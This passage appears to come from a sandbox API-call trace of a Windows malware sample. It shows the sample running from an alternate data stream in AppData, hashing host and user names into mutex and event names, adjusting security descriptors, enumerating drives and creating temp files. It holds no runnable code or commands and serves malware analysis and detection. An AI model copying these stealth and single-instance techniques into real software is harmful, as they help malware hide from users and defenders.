Size=0x80) returned 0x21ee268 [0038.985] LocalFree (hMem=0x606558) returned 0x0 [0038.985] Wow64DisableWow64FsRedirection (in: OldValue=0x18fdd8 | out: OldValue=0x18fdd8*=0x0) returned 1 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x800) returned 0x21f7cf8 [0038.985] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21f7cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\q5v3jp~1:bin")) returned 0x2e [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x800) returned 0x21f8500 [0038.985] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21f8500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\q5v3jp~1:bin")) returned 0x2e [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee1e0 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee2f0 [0038.985] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee1e0) returned 1 [0038.985] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee2f0) returned 1 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x5c) returned 0x21edd28 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee2f0 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee1e0 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee378 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee400 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee488 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee510 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee598 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee620 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee6a8 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee730 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee7b8 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee840 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x100) returned 0x21f8d08 [0038.986] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x21f8d08, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0038.986] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f8d08) returned 1 [0038.986] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee840) returned 1 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee840 [0038.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x21ec288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.986] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.986] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee840) returned 1 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec240 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec900 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec948 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee840 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x100) returned 0x21f8d08 [0038.986] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x21f8d08, nSize=0x40 | out: lpBuffer="XDUWTFONO$") returned 0xa [0038.986] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f8d08) returned 1 [0038.986] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee840) returned 1 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee840 [0038.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO$", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec990 [0038.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO$", cchWideChar=10, lpMultiByteStr=0x21ec990, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO$", lpUsedDefaultChar=0x0) returned 10 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec9d8 [0038.986] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec990) returned 1 [0038.986] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee840) returned 1 [0038.986] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec9d8) returned 1 [0038.986] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec9d8 [0038.986] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x606610) returned 1 [0038.987] CryptCreateHash (in: hProv=0x606610, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0038.987] CryptHashData (hHash=0x606598, pbData=0x21ec240, dwDataLen=0x16, dwFlags=0x0) returned 1 [0038.987] CryptGetHashParam (in: hHash=0x606598, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0038.987] CryptGetHashParam (in: hHash=0x606598, dwParam=0x2, pbData=0x21ec9d8, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x21ec9d8, pdwDataLen=0x18fc34) returned 1 [0038.987] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec990 [0038.988] CryptDestroyHash (hHash=0x606598) returned 1 [0038.988] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0038.988] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec9d8) returned 1 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec9d8 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21eca20 [0038.988] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec9d8) returned 1 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec9d8 [0038.988] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec9d8) returned 1 [0038.988] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eca20) returned 1 [0038.988] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec990) returned 1 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec990 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x184) returned 0x21f8d08 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21eca20 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec9d8 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21eca68 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ecab0 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ecaf8 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ecb40 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ecb88 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ecbd0 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f8eb0 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f8ef8 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f8f40 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f8f88 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f8fd0 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9018 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9060 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f90a8 [0038.988] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0x0 [0038.988] GetLastError () returned 0x2 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x5000) returned 0x21f2850 [0038.988] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f90f0 [0038.988] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f90f0) returned 1 [0038.988] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0038.989] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0038.989] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5fd030, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0038.989] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f90f0 [0038.989] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0x120 [0038.989] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f90f0) returned 1 [0038.989] GetLastError () returned 0x0 [0038.989] SetSecurityInfo () returned 0x0 [0038.994] LocalFree (hMem=0x5fd030) returned 0x0 [0038.995] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f90f0 [0038.995] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x5000) returned 0x21f2850 [0038.995] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9138 [0038.995] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9138) returned 1 [0038.995] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0038.995] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0038.995] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5fd030, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0038.995] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9138 [0038.995] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="") returned 0x124 [0038.995] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9138) returned 1 [0038.995] GetLastError () returned 0x0 [0038.995] LocalFree (hMem=0x5fd030) returned 0x0 [0038.995] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9138 [0038.995] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x606610) returned 1 [0038.996] CryptCreateHash (in: hProv=0x606610, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0038.996] CryptHashData (hHash=0x606598, pbData=0x21ec240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0038.996] CryptGetHashParam (in: hHash=0x606598, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0038.996] CryptGetHashParam (in: hHash=0x606598, dwParam=0x2, pbData=0x21f9138, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x21f9138, pdwDataLen=0x18fc34) returned 1 [0038.996] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9180 [0038.996] CryptDestroyHash (hHash=0x606598) returned 1 [0038.996] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0038.996] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9138) returned 1 [0038.996] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9138 [0038.996] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f91c8 [0038.996] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9138) returned 1 [0038.996] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9138 [0038.997] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9138) returned 1 [0038.997] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f91c8) returned 1 [0038.997] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9180) returned 1 [0038.997] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9180 [0038.997] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f91c8 [0038.997] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0038.997] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f91c8) returned 1 [0038.997] GetLastError () returned 0x5 [0038.997] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f91c8 [0038.997] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0038.997] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f91c8) returned 1 [0038.997] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f91c8 [0038.997] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x150 [0038.997] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f91c8) returned 1 [0038.997] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0040.058] ReleaseMutex (hMutex=0x150) returned 0 [0040.059] GetLastError () returned 0x120 [0040.060] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f91c8 [0040.060] Wow64DisableWow64FsRedirection (in: OldValue=0x18fb78 | out: OldValue=0x18fb78*=0x1) returned 1 [0040.060] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee840 [0040.060] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee8c8 [0040.060] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee950 [0040.061] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee9d8 [0040.062] GetLogicalDrives () returned 0x4 [0040.086] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0040.087] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9138 [0040.087] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eea60 [0040.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.087] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9210 [0040.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x21f9210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0040.087] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9258 [0040.087] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9210) returned 1 [0040.087] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eea60) returned 1 [0040.087] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9210 [0040.087] CryptAcquireContextW (in: phProv=0x18faf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18faf4*=0x606610) returned 1 [0040.088] CryptCreateHash (in: hProv=0x606610, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18faf4 | out: phHash=0x18faf4) returned 1 [0040.088] CryptHashData (hHash=0x606598, pbData=0x21f9258, dwDataLen=0xa, dwFlags=0x0) returned 1 [0040.088] CryptGetHashParam (in: hHash=0x606598, dwParam=0x4, pbData=0x18faf8, pdwDataLen=0x18fb04, dwFlags=0x0 | out: pbData=0x18faf8, pdwDataLen=0x18fb04) returned 1 [0040.088] CryptGetHashParam (in: hHash=0x606598, dwParam=0x2, pbData=0x21f9210, pdwDataLen=0x18faf8, dwFlags=0x0 | out: pbData=0x21f9210, pdwDataLen=0x18faf8) returned 1 [0040.088] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f92a0 [0040.088] CryptDestroyHash (hHash=0x606598) returned 1 [0040.088] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.088] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9210) returned 1 [0040.088] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9210 [0040.088] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f92e8 [0040.088] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9210) returned 1 [0040.088] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9210 [0040.088] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9210) returned 1 [0040.088] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f92e8) returned 1 [0040.088] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f92a0) returned 1 [0040.088] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f92a0 [0040.088] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f92e8 [0040.088] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f92e8) returned 1 [0040.088] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f92e8 [0040.088] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{{16E1D10-D-C0-32-9-739--65D6-A4AD8A8}") returned 0x0 [0040.089] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f92e8) returned 1 [0040.089] GetLastError () returned 0x2 [0040.089] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x5000) returned 0x21f2850 [0040.089] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f92e8 [0040.089] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f92e8) returned 1 [0040.089] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0040.091] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0040.092] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5fd030, lpbSaclPresent=0x18fab8, pSacl=0x18fb10, lpbSaclDefaulted=0x18fab8 | out: lpbSaclPresent=0x18fab8, pSacl=0x18fb10, lpbSaclDefaulted=0x18fab8) returned 1 [0040.092] CreateMutexA (lpMutexAttributes=0x18fb04, bInitialOwner=0, lpName="{{16E1D10-D-C0-32-9-739--65D6-A4AD8A8}") returned 0x154 [0040.092] GetLastError () returned 0x0 [0040.092] SetSecurityInfo () returned 0x0 [0040.093] LocalFree (hMem=0x5fd030) returned 0x0 [0040.093] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0xffffffff) returned 0x0 [0040.095] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eea60 [0040.095] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeae8 [0040.095] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x100) returned 0x21f9e98 [0040.097] GetSystemDirectoryW (in: lpBuffer=0x21f9e98, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0040.099] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9e98) returned 1 [0040.100] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0040.100] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0040.102] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f92e8 [0040.103] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0040.104] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2850 [0040.104] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2c58 [0040.104] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x21f2850, nSize=0x100 | out: lpBuffer="C:\\Windows\\TEMP") returned 0xf [0040.104] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP", lpszShortPath=0x21f2c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP") returned 0xf [0040.129] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2c58) returned 1 [0040.130] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0040.131] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0040.131] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0040.131] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2850 [0040.131] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0040.141] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0040.141] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.142] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0040.143] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0040.148] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0040.148] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.148] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0040.160] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0040.160] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.160] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0040.165] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0040.166] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.168] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0040.285] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0040.285] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.285] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="vye", uUnique=0x0, lpTempFileName=0x21f2850 | out: lpTempFileName="C:\\Windows\\TEMP\\vye9D57.tmp" (normalized: "c:\\windows\\temp\\vye9d57.tmp")) returned 0x9d57 [0040.286] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0040.286] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2c58 [0040.286] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\vye9D57.tmp", lpszShortPath=0x21f2c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\vye9D57.tmp") returned 0x1b [0040.287] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0040.287] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0040.287] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0040.287] 